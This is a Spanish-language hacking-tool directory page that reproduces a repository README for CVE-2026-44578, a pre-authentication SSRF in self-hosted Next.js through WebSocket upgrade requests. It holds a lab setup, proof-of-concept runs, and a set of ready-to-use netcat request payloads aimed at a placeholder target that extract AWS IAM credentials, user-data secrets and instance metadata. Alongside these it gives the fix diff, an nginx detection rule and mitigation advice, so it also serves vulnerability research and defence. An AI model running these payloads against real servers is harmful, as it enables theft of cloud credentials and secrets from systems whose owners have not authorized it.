Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/dinosn/cve-2026-44578
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad en la NubeAprendizaje y EducaciónLabs y Práctica
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — robo de credenciales pre-autenticación a través de localhost:80. Lab + exploit + audit.

Ver Repositorio
923hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-44578 — SSRF de Actualización WebSocket de Next.js

Falsificación de Solicitud del Lado del Servidor sin autenticación en despliegues autoalojados de Next.js.
Una única solicitud HTTP manipulada extrae credenciales de AWS, secretos y datos de servicios internos de localhost:80.

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
AfectadoNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (solo autoalojado)
Corregido15.5.16, 16.2.5
Autenticación RequeridaNinguna
Interacción del UsuarioNinguna

Vulnerabilidad

El manejador de actualización WebSocket en router-server.ts llama a proxyRequest() siempre que parsedUrl.protocol es verdadero — sin comprobar las banderas de finalización de enrutamiento finished y statusCode que el manejador HTTP siempre había aplicado.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

Después de que normalizeRepeatedSlashes colapsa http:/// a http:/, el nombre de host es nulo y http-proxy se conecta a localhost:80 con la ruta correcta. Cualquier servicio co-ubicado (metadatos de nube, paneles de administración, APIs internas) queda expuesto.


Comando de Exploit

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl no puede enviar URIs en forma absoluta. Use TCP crudo: nc, ncat, socat, o sockets de Python.


Cómo Funciona

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Reproducción en Laboratorio

Requisitos Previos

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Configuración

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Esto inicia 5 contenedores:

ContenedorRolExpuesto
nextjs-vulnNext.js 15.5.15 (vulnerable)localhost:3000
nextjs-fixedNext.js 15.5.16 (parcheado)localhost:3001
imds-sidecar-vulnFake AWS IMDSv1 compartiendo red con vulnlocalhost:80 (desde la perspectiva de vuln)
imds-sidecar-fixedFake AWS IMDSv1 compartiendo red con fixedlocalhost:80 (desde la perspectiva de fixed)
internal-apiMock de servicio interno—

Los sidecars IMDS usan network_mode: "service:nextjs-*" por lo que el servicio de metadatos falso está en localhost:80 dentro del contenedor Next.js — modelando una instancia de nube real.

Ejecutar el Exploit

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Desmontaje

root@kitploit:~
./teardown.sh

Evidencia

1. Laboratorio en Ejecución

Todos los contenedores activos — vulnerable (15.5.15) en :3000, parcheado (15.5.16) en :3001, sidecars IMDS compartiendo espacios de nombres de red.

Lab Running

2. SSRF — Listado de Metadatos de AWS

Una única solicitud devuelve el directorio completo de metadatos de EC2 (ami-id, instance-id, iam/, placement/, etc.)

Metadata Listing

3. SSRF — Extracción de Credenciales IAM

Conjunto completo de credenciales IAM: AccessKeyId, SecretAccessKey, Token y Expiration.

IAM Credentials

4. SSRF — Secretos de User-Data

Script de arranque de user-data de EC2 que contiene DB_PASSWORD y API_KEY.

User-Data Secrets

5. SSRF — Identidad de Instancia

ID de instancia extraído mediante el mismo vector SSRF.

Instance ID

6. Instancia Parcheada — Bloqueada

Misma carga útil contra Next.js 15.5.16. Conexión cerrada inmediatamente — sin datos devueltos.

Patched Blocked

7. Registros IMDS — Prueba de Ejecución del Lado del Servidor

Los registros IMDS falsos muestran solicitudes GET llegando desde 127.0.0.1 (el proceso de Next.js), probando que el SSRF es del lado del servidor.

IMDS Logs

8. Suite Completa de PoC — Vulnerable (7/7 Confirmados)

Las 7 pruebas SSRF devuelven datos sensibles en la instancia vulnerable.

Full Suite Vuln

9. Suite Completa de PoC — Parcheado (0/7 Bloqueados)

Las 7 pruebas bloqueadas en la instancia parcheada. Corrección confirmada.

Full Suite Patched


Cargas Útiles de Cadena de Ataque

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

Reemplace T con el host objetivo y ROLE con el nombre del rol IAM.


Limitaciones

LimitaciónDetalle
Método HTTPSolo GET
Objetivolocalhost:80 (nombre de host eliminado por normalización)
AWS IMDSv2No explotable (requiere PUT)
Metadatos GCPNo explotable (rechaza cabecera Upgrade)
Alojado en VercelNo afectado
Detrás de proxy inversonginx/Caddy/HAProxy bloquean URIs en forma absoluta

Detección y Mitigación

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

En AWS: aplicar IMDSv2 (HttpTokens=required).

Firmas de registro:

  • Failed to proxy http:/ — proxy activado pero objetivo inalcanzable
  • La variante http:///path no produce ningún registro de error — monitorear actualizaciones WebSocket con http: en la línea de solicitud

Referencias

FuenteEnlace
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
Fix commithttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian writeuphttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
Public PoC (nextssrf)https://github.com/ynsmroztas/nextssrf

Descargo de Responsabilidad

Solo para pruebas de seguridad autorizadas, educación e investigación defensiva. Úselo solo contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas.

Descargar herramienta